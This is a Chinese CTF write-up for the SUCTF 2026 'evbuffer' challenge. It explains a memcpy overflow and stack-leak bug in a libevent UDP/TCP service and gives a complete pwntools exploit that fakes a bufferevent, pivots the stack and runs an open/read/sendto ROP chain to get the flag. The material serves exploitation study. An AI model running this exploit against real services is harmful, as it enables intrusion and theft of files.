这道题其实不难,如果完整调试过高版本 _IO_FILE 利用链,这题自然不在话下,原理是相通的

比赛时已经能够劫持执行流了,但是就是不知道怎么在仅有 libevent 的情况下拿到 flag,赛后一看别人的 wp,结果 libc 相对 libevent 竟然是固定偏移,有 libc 的话就可以直接控 rsp 做 ROP 了。同门惊呼:“为何我本地它们的偏移不固定?”

有 libc 后也是很快本地跑通了,本文基于用 SU Team 提供的 docker 复现的结果撰写

比赛 repo: https://github.com/team-su/SUCTF-2026/tree/main

1 程序分析

开了沙箱禁用 exec,并且保护全开

程序监听 8888/UDP 和 8889/TCP 端口,并分别设有处理函数

其中 TCP 连接的处理用到了 libevent 库,也是本题的主角

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int fd; // [rsp+Ch] [rbp-44h]
__int64 v5; // [rsp+10h] [rbp-40h]
struct sockaddr addr; // [rsp+20h] [rbp-30h] BYREF
_QWORD v7[4]; // [rsp+30h] [rbp-20h] BYREF

v7[3] = __readfsqword(0x28u);
seccomp_ban_exec(); // Enable seccomp sandbox - blocks execve/execveat syscalls
g_event_base = event_base_new(*(__int64 *)&argc, (__int64)argv);// Create libevent event base
memset(&g_udp_state, 0, 0x70uLL); // Initialize UDP state structure (112 bytes)
fd = socket(2, 2, 0); // Create UDP socket (AF_INET, SOCK_DGRAM)
*(_QWORD *)&addr.sa_family = 2LL;
*(_QWORD *)&addr.sa_data[6] = 0LL;
*(_WORD *)addr.sa_data = htons(0x22B9u); // Set UDP port to 8889 (0x22B9)
bind(fd, &addr, 0x10u); // Bind UDP socket to 0.0.0.0:8889
g_udp_state.connection_type = 0;
*(_DWORD *)g_udp_state.padding = fd;
v5 = event_new(g_event_base, fd, 18LL, (__int64)udp_read_callback, (__int64)&g_udp_state);// Create event for UDP socket (EV_READ | EV_PERSIST = 18)
event_add(v5, 0LL);
v7[0] = 2LL;
v7[1] = 0LL;
WORD1(v7[0]) = htons(0x22B8u); // Set TCP port to 8888 (0x22B8)
evconnlistener_new_bind(g_event_base, tcp_accept_callback, 0LL, 10LL, 0xFFFFFFFFLL, v7, 16LL);// Create TCP listener on 0.0.0.0:8888 with backlog=10
event_base_dispatch(g_event_base); // Enter event loop
return 0;
}

其中 UDP 端口接收的内容会先存在栈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall udp_read_callback(int a1, __int64 a2, __int64 a3)
{
socklen_t addr_len; // [rsp+10h] [rbp-430h] BYREF
int v5; // [rsp+14h] [rbp-42Ch]
__int64 v6; // [rsp+18h] [rbp-428h]
sockaddr addr; // [rsp+20h] [rbp-420h] BYREF
_BYTE buf[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v9; // [rsp+438h] [rbp-8h]

v9 = __readfsqword(0x28u);
v6 = a3;
addr_len = 16;
v5 = recvfrom(a1, buf, 0x3FFuLL, 0, &addr, &addr_len);// Receive up to 1023 bytes from UDP socket into 1032-byte buffer
process_packet(v6, buf, v5, &addr); // Process received UDP data with sender address
return v9 - __readfsqword(0x28u);
}

两个端口的处理最后都会进入一个 process_packet 函数,a1 是各自的 state struct 地址,在 bss 节上,a2 是栈地址,保存了收到的内容,a3 是收到的内容的长度

inet_pton 函数要求发送的数据开头必须是合规的 IP 地址,以 \x00 结尾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
unsigned __int64 __fastcall process_packet(__int64 a1, _BYTE *a2, int a3, const struct sockaddr *a4)
{
__int64 v4; // rbx
__int64 v5; // rbx
__int64 v6; // rbx
__int64 v7; // rbx
_QWORD *s; // [rsp+28h] [rbp-78h]
__int64 output; // [rsp+38h] [rbp-68h]
char name[8]; // [rsp+40h] [rbp-60h] BYREF
__int64 v14; // [rsp+48h] [rbp-58h]
__int64 v15; // [rsp+50h] [rbp-50h]
__int64 v16; // [rsp+58h] [rbp-48h]
__int64 v17; // [rsp+60h] [rbp-40h]
__int64 v18; // [rsp+68h] [rbp-38h]
__int64 v19; // [rsp+70h] [rbp-30h]
__int64 v20; // [rsp+78h] [rbp-28h]
unsigned __int64 v21; // [rsp+88h] [rbp-18h]

v21 = __readfsqword(0x28u);
if ( a3 > 0 )
{
a2[a3] = 0; // Null-terminate received data - POTENTIAL OVERFLOW if a3 >= buffer size
s = malloc(0x50uLL); // Allocate 80-byte response packet
if ( s )
{
memset(s, 0, 0x50uLL); // Zero out response packet
if ( inet_pton(2, a2, (char *)s + 4) ) // Parse IP address from input - writes to offset +4 in response
{
*(_WORD *)s = 2; // Set address family to AF_INET (2)
gethostname(name, 0x40uLL); // Get hostname (up to 64 bytes) - POTENTIAL ISSUE: no null termination guarantee
v4 = v14;
s[2] = *(_QWORD *)name; // Copy hostname to response packet offset +16 (64 bytes)
s[3] = v4;
v5 = v16;
s[4] = v15;
s[5] = v5;
v6 = v18;
s[6] = v17;
s[7] = v6;
v7 = v20;
s[8] = v19;
s[9] = v7;
memcpy((void *)a1, a2, a3); // VULNERABILITY: memcpy with user-controlled size a3 - can overflow state structure
if ( *(_DWORD *)(a1 + 32) == 1 && *(_QWORD *)(a1 + 40) )// Check if TCP connection (flag at offset +32) and bufferevent exists (offset +40)
{
output = bufferevent_get_output(*(_QWORD *)(a1 + 40));// Get output buffer for TCP connection
evbuffer_add_reference(output, (__int64)s, 80LL, (__int64)sub_1381, 0LL);// Add response to TCP output buffer with free callback
}
else
{
sendto(*(_DWORD *)(a1 + 48), s, 0x50uLL, 0, a4, 0x10u);// Send response via UDP socket (fd at offset +48)
free(s); // Free response packet after UDP send
}
}
else
{
free(s);
}
}
}
return v21 - __readfsqword(0x28u);
}

漏洞就在这个函数里,memcpy((void *)a1, a2, a3) 存在缓冲区溢出

回包发送的是 s 的 0x50 字节,而 s 里面保存了栈上的残留信息,造成地址泄露

2 漏洞利用

利用思路如下:

  1. 程序回包泄露地址
  2. 在栈上伪造 bufferevent 结构体
  3. 发送 UDP 包触发溢出漏洞,覆盖 bss 节上保存的 TCP bufferevent 地址
  4. 发送 TCP 包触发 evbuffer_add_reference,触发伪造的 bufferevent 中的回调函数劫持控制流

2.1 地址泄露

利用程序回包发送的栈上内容可以泄露地址,包括 PIE、libevent、stack、heap,然后 libc 基址可以通过 libevent 减去一定偏移算出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ip = b"0.0.0.0\x00"

io_tcp = remote(HOST, PORT_TCP, typ="tcp")
io_tcp.send(ip)
leak = io_tcp.recv()
leaked_libevent = u64(leak[0x18:0x20])
leaked_heap = u64(leak[0x28:0x30])
libevent_base = leaked_libevent - 0x137d8
g_event_base = leaked_heap - 0x8b0
# libc_base = libevent_base - 0x367000
libc_base = libevent_base - 0x249000
log.info("leaked_libevent: " + hex(leaked_libevent))
log.info("libevent_base: " + hex(libevent_base))
log.info("libc_base: " + hex(libc_base))
log.info("g_event_base: " + hex(g_event_base))

io_udp = remote(HOST, PORT_UDP, typ="udp")
io_udp.send(ip)
leak = io_udp.recv()
leaked_stack = u64(leak[0x40:0x48])
leaked_pie = u64(leak[0x48:0x50])
pie_base = leaked_pie - 0x1619
stack_buf = leaked_stack - 0x3d0
log.info("leaked_stack: " + hex(leaked_stack))
log.info("stack_buf: " + hex(stack_buf))
log.info("pie_base: " + hex(pie_base))

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[+] Opening connection to 127.0.0.1 on port 8888: Done
[DEBUG] Sent 0x8 bytes:
00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│
00000008
[DEBUG] Received 0x50 bytes:
00000000 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 70 77 6e 00 00 00 00 00 d8 87 60 b1 ad 70 00 00 │pwn·│····│··`·│·p··│
00000020 08 00 00 00 00 00 00 00 70 dd 1f 4d ca 63 00 00 │····│····│p··M│·c··│
00000030 08 00 00 00 00 00 00 00 ff 03 00 00 00 00 00 00 │····│····│····│····│
00000040 00 00 00 00 00 00 00 00 1a 8b 60 b1 ad 70 00 00 │····│····│··`·│·p··│
00000050
[*] leaked_libevent: 0x70adb16087d8
[*] libevent_base: 0x70adb15f5000
[*] libc_base: 0x70adb13ac000
[*] g_event_base: 0x63ca4d1fd4c0
[+] Opening connection to 127.0.0.1 on port 8889: Done
[DEBUG] Sent 0x8 bytes:
00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│
00000008
[DEBUG] Received 0x50 bytes:
00000000 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 70 77 6e 00 00 00 00 00 1a 8b 60 b1 ad 70 00 00 │pwn·│····│··`·│·p··│
00000020 00 8e f7 32 fe 7f 00 00 00 c9 93 e2 52 8f 93 b5 │···2│····│····│R···│
00000030 70 dd 1f 4d ca 63 00 00 08 00 00 00 00 00 00 00 │p··M│·c··│····│····│
00000040 00 8e f7 32 fe 7f 00 00 19 36 e9 1e ca 63 00 00 │···2│····│·6··│·c··│
00000050
[*] leaked_stack: 0x7ffe32f78e00
[*] stack_buf: 0x7ffe32f78a30
[*] pie_base: 0x63ca1ee92000

2.2 伪造 bufferevent

这里主要分析 TCP 的处理,关键在于 evbuffer_add_reference 函数有哪些检查,如何调用回调函数

1
2
3
4
5
if ( *(_DWORD *)(a1 + 32) == 1 && *(_QWORD *)(a1 + 40) )// Check if TCP connection (flag at offset +32) and bufferevent exists (offset +40)
{
output = bufferevent_get_output(*(_QWORD *)(a1 + 40));// Get output buffer for TCP connection
evbuffer_add_reference(output, (__int64)s, 80LL, (__int64)sub_1381, 0LL);// Add response to TCP output buffer with free callback
}

接下来我们以 evbuf 来称呼伪造的 bufferevent 结构体指针

首先 bufferevent_get_output 取出 evbuf->output,在偏移 0x118 的位置

1
2
3
4
__int64 __fastcall bufferevent_get_output(__int64 a1)
{
return *(_QWORD *)(a1 + 280);
}

然后以 evbuf->output 作为参数传进 evbuffer_add_reference

可以很明显看到里边有一个 evbuffer_invoke_callbacks_ 函数,看起来就是调用回调函数的,要进入其中要过 3 个检查:

  1. evbuf->output 偏移 0x30 处要为 0
  2. evbuf->output 偏移 0x38 处和 4 相与要为 0
  3. sub_EE50((_QWORD *)a1, v9) 正常返回
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall evbuffer_add_reference(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)
{
__int64 v8; // rax
__int64 v9; // rbp
unsigned int v10; // r12d

v8 = sub_E620(0x10uLL);
if ( v8 )
{
*(_DWORD *)(v8 + 32) |= 0xCu;
v9 = v8;
*(_QWORD *)(v8 + 40) = a2;
*(_QWORD *)(v8 + 8) = a3;
*(_QWORD *)(v8 + 24) = a3;
*(_QWORD *)(v8 + 48) = a4;
*(_QWORD *)(v8 + 56) = a5;
if ( *(_QWORD *)(a1 + 48) )
evthread_lock_fns_[3](0LL);
if ( (*(_BYTE *)(a1 + 56) & 4) != 0 )
{
v10 = -1;
event_mm_free_(v9);
}
else
{
v10 = 0;
sub_EE50((_QWORD *)a1, v9);
*(_QWORD *)(a1 + 32) += a3;
evbuffer_invoke_callbacks_(a1);
}
if ( *(_QWORD *)(a1 + 48) )
evthread_lock_fns_[4](0LL);
}
else
{
return (unsigned int)-1;
}
return v10;
}

过掉 sub_EE50((_QWORD *)a1, v9) 函数的要求如下:

  1. evbuf->output 偏移 0x10 处保存 evbuf->output
  2. evbuf->output 偏移 0 处要为 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall sub_EE50(_QWORD *a1, __int64 a2)
{
_QWORD *v3; // rdi
_QWORD *v4; // rax
__int64 result; // rax

if ( a1[6] && evthread_lock_debugging_enabled_ && !(unsigned int)evthread_is_debug_lock_held_() )
event_errx(-559030611, (char)&iovec);
v3 = (_QWORD *)a1[2];
if ( *v3 )
{
v4 = sub_3CFF0(v3);
*v4 = a2;
if ( *(_QWORD *)(a2 + 24) )
a1[2] = v4;
a1[1] = a2;
result = *(_QWORD *)(a2 + 24);
a1[3] += result;
}
else
{
if ( v3 != a1 )
event_errx(-559030611, (char)&iovec);
a1[1] = a2;
*a1 = a2;
result = *(_QWORD *)(a2 + 24);
a1[3] += result;
}
return result;
}

然后进入 evbuffer_invoke_callbacks_,里面只有 sub_EF40 函数可能和回调有关,其他的函数名都像是额外检查。进入 sub_EF40 要求如下:

  1. evbuf->output 偏移 0x78 处不为 0
  2. evbuf->output 偏移 0x38 处和 8 相与要为 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __fastcall evbuffer_invoke_callbacks_(__int64 a1)
{
if ( *(_QWORD *)(a1 + 120) )
{
if ( (*(_BYTE *)(a1 + 56) & 8) != 0 && (unsigned int)event_deferred_cb_schedule_(*(_QWORD *)(a1 + 64), a1 + 80) )
{
evbuffer_incref_and_lock_(a1);
if ( *(_QWORD *)(a1 + 128) )
bufferevent_incref();
if ( *(_QWORD *)(a1 + 48) )
evthread_lock_fns_[4](0LL);
}
sub_EF40(a1, 0);
}
else
{
*(_QWORD *)(a1 + 40) = 0LL;
*(_QWORD *)(a1 + 32) = 0LL;
}
}

最后正式进入回调处理,可以看到很明显有一个 while 循环不断的 call v11,而且 v11 也在更新

这里有 2 个分支,我们选择进入 if ( (v10 & 0x40000) != 0 ) 分支,相关分析如下:

  1. evbuf->output 偏移 0x78 处是回调函数链,即 evbuf->output->callbacks
  2. evbuf->output->callbacks 偏移 0 处是 next 指针,也就是下一个要执行的回调
  3. evbuf->output->callbacks 偏移 0x10 处是要调用的函数指针
  4. evbuf->output->callbacks 偏移 0x20 处填 0x40001 过检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
unsigned __int64 __fastcall sub_EF40(__int64 a1, _BOOL4 a2)
{
_BOOL4 v2; // r13d
int v3; // r15d
int v4; // r14d
_QWORD *v5; // rbx
__int64 v6; // rdx
__int64 v7; // rax
__int64 v8; // r12
_QWORD *v9; // rax
int v10; // edx
void (__fastcall *v11)(__int64, _QWORD, __int64, _QWORD); // r8
_QWORD v13[3]; // [rsp+0h] [rbp-58h] BYREF
unsigned __int64 v14; // [rsp+18h] [rbp-40h]

v14 = __readfsqword(0x28u);
if ( a2 )
{
v2 = a2;
v3 = 1;
v4 = 3;
}
else
{
v2 = (*(_BYTE *)(a1 + 56) & 8) == 0;
v3 = (*(_BYTE *)(a1 + 56) & 8) == 0 ? 1 : 3;
v4 = v3;
}
if ( *(_QWORD *)(a1 + 48) && evthread_lock_debugging_enabled_ && !(unsigned int)evthread_is_debug_lock_held_() )
event_errx(-559030611, (char)&iovec);
v5 = *(_QWORD **)(a1 + 120);
if ( v5 )
{
v6 = *(_QWORD *)(a1 + 32);
v7 = *(_QWORD *)(a1 + 40);
if ( *(_OWORD *)(a1 + 32) != 0LL )
{
v8 = *(_QWORD *)(a1 + 24);
v13[1] = *(_QWORD *)(a1 + 32);
v13[2] = v7;
v13[0] = v8 + v7 - v6;
if ( v2 )
{
*(_QWORD *)(a1 + 32) = 0LL;
*(_QWORD *)(a1 + 40) = 0LL;
}
while ( 1 )
{
v9 = v5;
v5 = (_QWORD *)*v5;
v10 = *((_DWORD *)v9 + 8);
if ( (v4 & v10) != v3 )
goto LABEL_11;
v11 = (void (__fastcall *)(__int64, _QWORD, __int64, _QWORD))v9[2];
if ( (v10 & 0x40000) != 0 )
{
v11(a1, v13[0], v8, v9[3]);
LABEL_11:
if ( !v5 )
return v14 - __readfsqword(0x28u);
}
else
{
((void (__fastcall *)(__int64, _QWORD *, _QWORD))v11)(a1, v13, v9[3]);
if ( !v5 )
return v14 - __readfsqword(0x28u);
}
}
}
}
else
{
*(_QWORD *)(a1 + 40) = 0LL;
*(_QWORD *)(a1 + 32) = 0LL;
}
return v14 - __readfsqword(0x28u);
}

最后我们要达成调用 evbuf->output->callbacks 偏移 0x10 处的 gadget

evbuf->output 偏移 0x18 处在实际调用函数时会作为 rdx,gdb 调试发现会在前面的处理过程中加 0x50,通过在这里填写 ROP 链地址减 0x50,调用 libc 中的 mov rsp, rdx ; ret,就可以做 ROP 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fake_bufferevent_addr = stack_buf + 0x80
fake_callbacks_addr = fake_bufferevent_addr + 0x80
rop_addr = fake_bufferevent_addr + 0x120

fake_bufferevent = p64(0) + p64(0)
fake_bufferevent += p64(fake_bufferevent_addr)
fake_bufferevent += p64(rop_addr - 0x50) # v8 -> rdx
fake_bufferevent += p64(rop_addr - 0x50) # v6
fake_bufferevent += p64(fake_bufferevent_addr) # v7
fake_bufferevent = fake_bufferevent.ljust(0x78, b"\x00")
fake_bufferevent += p64(fake_callbacks_addr)
fake_bufferevent += p64(0) # next
fake_bufferevent += p64(0)
fake_bufferevent += p64(mov_rsp_rdx)
fake_bufferevent += p64(0)
fake_bufferevent += p64(0x40001)
fake_bufferevent += p64(0)
fake_bufferevent = fake_bufferevent.ljust(0x118, b"\x00")
fake_bufferevent += p64(fake_bufferevent_addr) # +0x118: output

2.3 缓冲区溢出触发劫持

最后利用 UDP 发包溢出 .bss 节上的 bufferevent 地址,覆盖成我们在栈上伪造的 bufferevent,劫持控制流

ROP 就是做 ORW 然后利用 pwn 程序中调用 sendto 的代码片段,给 UDP 端口建立的连接发 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rop = p64(pop_rdi) + p64(stack_buf+0x10) + p64(pop_rsi) + p64(0) + p64(open)
rop += p64(pop_rdi) + p64(9) + p64(pop_rsi) + p64(stack_buf+0x18) + p64(pop_rdx_rbp_r12) + p64(0x100) + p64(0) * 2 + p64(read)
rop += p64(pop_rdx_rbp_r12) + p64(stack_buf-0x10) + p64(0) * 2 + p64(pop_rax) + p64(6) + p64(pop_rsi) + p64(stack_buf+0x18) + p64(call_sendto)


payload = ip.ljust(0x10, b"\x00")
payload += b'flag\x00'
payload = payload.ljust(0x58, b"\x00")
payload += p64(1) + p64(fake_bufferevent_addr)
payload += p64(0) + p64(g_event_base)

payload = payload.ljust(0x80, b"\x00")
payload += fake_bufferevent + rop

io_udp.send(payload)
io_tcp.send(ip)

io_udp.interactive()

call_r8

3 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *

elf = ELF("./pwn")

context(os=elf.os, arch=elf.arch, log_level="debug")

def exploit():
ip = b"0.0.0.0\x00"

io_tcp = remote(HOST, PORT_TCP, typ="tcp")
io_tcp.send(ip)
leak = io_tcp.recv()
leaked_libevent = u64(leak[0x18:0x20])
leaked_heap = u64(leak[0x28:0x30])
libevent_base = leaked_libevent - 0x137d8
g_event_base = leaked_heap - 0x8b0
# libc_base = libevent_base - 0x367000
libc_base = libevent_base - 0x249000
log.info("leaked_libevent: " + hex(leaked_libevent))
log.info("libevent_base: " + hex(libevent_base))
log.info("libc_base: " + hex(libc_base))
log.info("g_event_base: " + hex(g_event_base))

io_udp = remote(HOST, PORT_UDP, typ="udp")
io_udp.send(ip)
leak = io_udp.recv()
leaked_stack = u64(leak[0x40:0x48])
leaked_pie = u64(leak[0x48:0x50])
pie_base = leaked_pie - 0x1619
stack_buf = leaked_stack - 0x3d0
log.info("leaked_stack: " + hex(leaked_stack))
log.info("stack_buf: " + hex(stack_buf))
log.info("pie_base: " + hex(pie_base))

# .text:000000000000154A mov r9d, 10h ; addr_len
# .text:0000000000001550 mov r8, rdx ; addr
# .text:0000000000001553 mov ecx, 0 ; flags
# .text:0000000000001558 mov edx, 50h ; 'P' ; n
# .text:000000000000155D mov edi, eax ; fd
# .text:000000000000155F call _sendto
call_sendto = pie_base + 0x154A
open = libc_base + 0x114560
read = libc_base + 0x114850
mov_rsp_rdx = libc_base + 0x5a120
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_rbp_r12 = libc_base + 0xa85a9
pop_rax = libc_base + 0x45eb0

fake_bufferevent_addr = stack_buf + 0x80
fake_callbacks_addr = fake_bufferevent_addr + 0x80
rop_addr = fake_bufferevent_addr + 0x120

fake_bufferevent = p64(0) + p64(0)
fake_bufferevent += p64(fake_bufferevent_addr)
fake_bufferevent += p64(rop_addr - 0x50) # v8 -> rdx
fake_bufferevent += p64(rop_addr - 0x50) # v6
fake_bufferevent += p64(fake_bufferevent_addr) # v7
fake_bufferevent = fake_bufferevent.ljust(0x78, b"\x00")
fake_bufferevent += p64(fake_callbacks_addr)
fake_bufferevent += p64(0) # next
fake_bufferevent += p64(0)
fake_bufferevent += p64(mov_rsp_rdx)
fake_bufferevent += p64(0)
fake_bufferevent += p64(0x40001)
fake_bufferevent += p64(0)
fake_bufferevent = fake_bufferevent.ljust(0x118, b"\x00")
fake_bufferevent += p64(fake_bufferevent_addr) # +0x118: output

rop = p64(pop_rdi) + p64(stack_buf+0x10) + p64(pop_rsi) + p64(0) + p64(open)
rop += p64(pop_rdi) + p64(9) + p64(pop_rsi) + p64(stack_buf+0x18) + p64(pop_rdx_rbp_r12) + p64(0x100) + p64(0) * 2 + p64(read)
rop += p64(pop_rdx_rbp_r12) + p64(stack_buf-0x10) + p64(0) * 2 + p64(pop_rax) + p64(6) + p64(pop_rsi) + p64(stack_buf+0x18) + p64(call_sendto)


payload = ip.ljust(0x10, b"\x00")
payload += b'flag\x00'
payload = payload.ljust(0x58, b"\x00")
payload += p64(1) + p64(fake_bufferevent_addr)
payload += p64(0) + p64(g_event_base)

payload = payload.ljust(0x80, b"\x00")
payload += fake_bufferevent + rop

pause()

io_udp.send(payload)
io_tcp.send(ip)

io_udp.interactive()


if __name__ == "__main__":
global HOST, PORT_UDP, PORT_TCP

if args.REMOTE:
HOST = "101.245.104.190"
PORT_UDP = 10015
PORT_TCP = 10005
else:
HOST = "127.0.0.1"
PORT_UDP = 8889
PORT_TCP = 8888

exploit()

本地运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
(pwn)secreu@Vanilla:~/code/CTF/SUCTF2026/evbuffer$ python exp.py 
[*] '/home/secreu/code/CTF/SUCTF2026/evbuffer/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Opening connection to 127.0.0.1 on port 8888: Done
[DEBUG] Sent 0x8 bytes:
00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│
00000008
[DEBUG] Received 0x50 bytes:
00000000 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 70 77 6e 00 00 00 00 00 d8 87 60 b1 ad 70 00 00 │pwn·│····│··`·│·p··│
00000020 08 00 00 00 00 00 00 00 70 dd 1f 4d ca 63 00 00 │····│····│p··M│·c··│
00000030 08 00 00 00 00 00 00 00 ff 03 00 00 00 00 00 00 │····│····│····│····│
00000040 00 00 00 00 00 00 00 00 1a 8b 60 b1 ad 70 00 00 │····│····│··`·│·p··│
00000050
[*] leaked_libevent: 0x70adb16087d8
[*] libevent_base: 0x70adb15f5000
[*] libc_base: 0x70adb13ac000
[*] g_event_base: 0x63ca4d1fd4c0
[+] Opening connection to 127.0.0.1 on port 8889: Done
[DEBUG] Sent 0x8 bytes:
00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│
00000008
[DEBUG] Received 0x50 bytes:
00000000 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 70 77 6e 00 00 00 00 00 1a 8b 60 b1 ad 70 00 00 │pwn·│····│··`·│·p··│
00000020 00 8e f7 32 fe 7f 00 00 00 c9 93 e2 52 8f 93 b5 │···2│····│····│R···│
00000030 70 dd 1f 4d ca 63 00 00 08 00 00 00 00 00 00 00 │p··M│·c··│····│····│
00000040 00 8e f7 32 fe 7f 00 00 19 36 e9 1e ca 63 00 00 │···2│····│·6··│·c··│
00000050
[*] leaked_stack: 0x7ffe32f78e00
[*] stack_buf: 0x7ffe32f78a30
[*] pie_base: 0x63ca1ee92000
[DEBUG] Sent 0x258 bytes:
00000000 30 2e 30 2e 30 2e 30 00 00 00 00 00 00 00 00 00 │0.0.│0.0·│····│····│
00000010 2f 66 6c 61 67 00 00 00 00 00 00 00 00 00 00 00 │/fla│g···│····│····│
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000050 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 │····│····│····│····│
00000060 b0 8a f7 32 fe 7f 00 00 00 00 00 00 00 00 00 00 │···2│····│····│····│
00000070 c0 d4 1f 4d ca 63 00 00 00 00 00 00 00 00 00 00 │···M│·c··│····│····│
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000090 b0 8a f7 32 fe 7f 00 00 80 8b f7 32 fe 7f 00 00 │···2│····│···2│····│
000000a0 80 8b f7 32 fe 7f 00 00 b0 8a f7 32 fe 7f 00 00 │···2│····│···2│····│
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
000000f0 00 00 00 00 00 00 00 00 30 8b f7 32 fe 7f 00 00 │····│····│0··2│····│
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000110 20 61 40 b1 ad 70 00 00 00 00 00 00 00 00 00 00 │ a@·│·p··│····│····│
00000120 01 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000190 00 00 00 00 00 00 00 00 b0 8a f7 32 fe 7f 00 00 │····│····│···2│····│
000001a0 e5 63 3d b1 ad 70 00 00 40 8a f7 32 fe 7f 00 00 │·c=·│·p··│@··2│····│
000001b0 51 7e 3d b1 ad 70 00 00 00 00 00 00 00 00 00 00 │Q~=·│·p··│····│····│
000001c0 60 05 4c b1 ad 70 00 00 e5 63 3d b1 ad 70 00 00 │`·L·│·p··│·c=·│·p··│
000001d0 09 00 00 00 00 00 00 00 51 7e 3d b1 ad 70 00 00 │····│····│Q~=·│·p··│
000001e0 48 8a f7 32 fe 7f 00 00 a9 45 45 b1 ad 70 00 00 │H··2│····│·EE·│·p··│
000001f0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000200 00 00 00 00 00 00 00 00 50 08 4c b1 ad 70 00 00 │····│····│P·L·│·p··│
00000210 a9 45 45 b1 ad 70 00 00 20 8a f7 32 fe 7f 00 00 │·EE·│·p··│ ··2│····│
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000230 b0 1e 3f b1 ad 70 00 00 06 00 00 00 00 00 00 00 │··?·│·p··│····│····│
00000240 51 7e 3d b1 ad 70 00 00 48 8a f7 32 fe 7f 00 00 │Q~=·│·p··│H··2│····│
00000250 4a 35 e9 1e ca 63 00 00 │J5··│·c··│
00000258
[DEBUG] Sent 0x8 bytes:
00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│
00000008
[*] Switching to interactive mode
[DEBUG] Received 0x50 bytes:
00000000 66 6c 61 67 7b 38 30 65 35 39 66 37 38 2d 64 32 │flag│{80e│59f7│8-d2│
00000010 61 33 2d 34 65 36 61 2d 62 62 62 66 2d 38 30 32 │a3-4│e6a-│bbbf│-802│
00000020 37 64 32 35 63 32 62 39 62 7d 0a 00 00 00 00 00 │7d25│c2b9│b}··│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000040 01 00 00 00 00 00 00 00 b0 8a f7 32 fe 7f 00 00 │····│····│···2│····│
00000050
flag{80e59f78-d2a3-4e6a-bbbf-8027d25c2b9b}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x8a\xf72\xfe\x7f\x00\x00$
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 8889
[*] Closed connection to 127.0.0.1 port 8888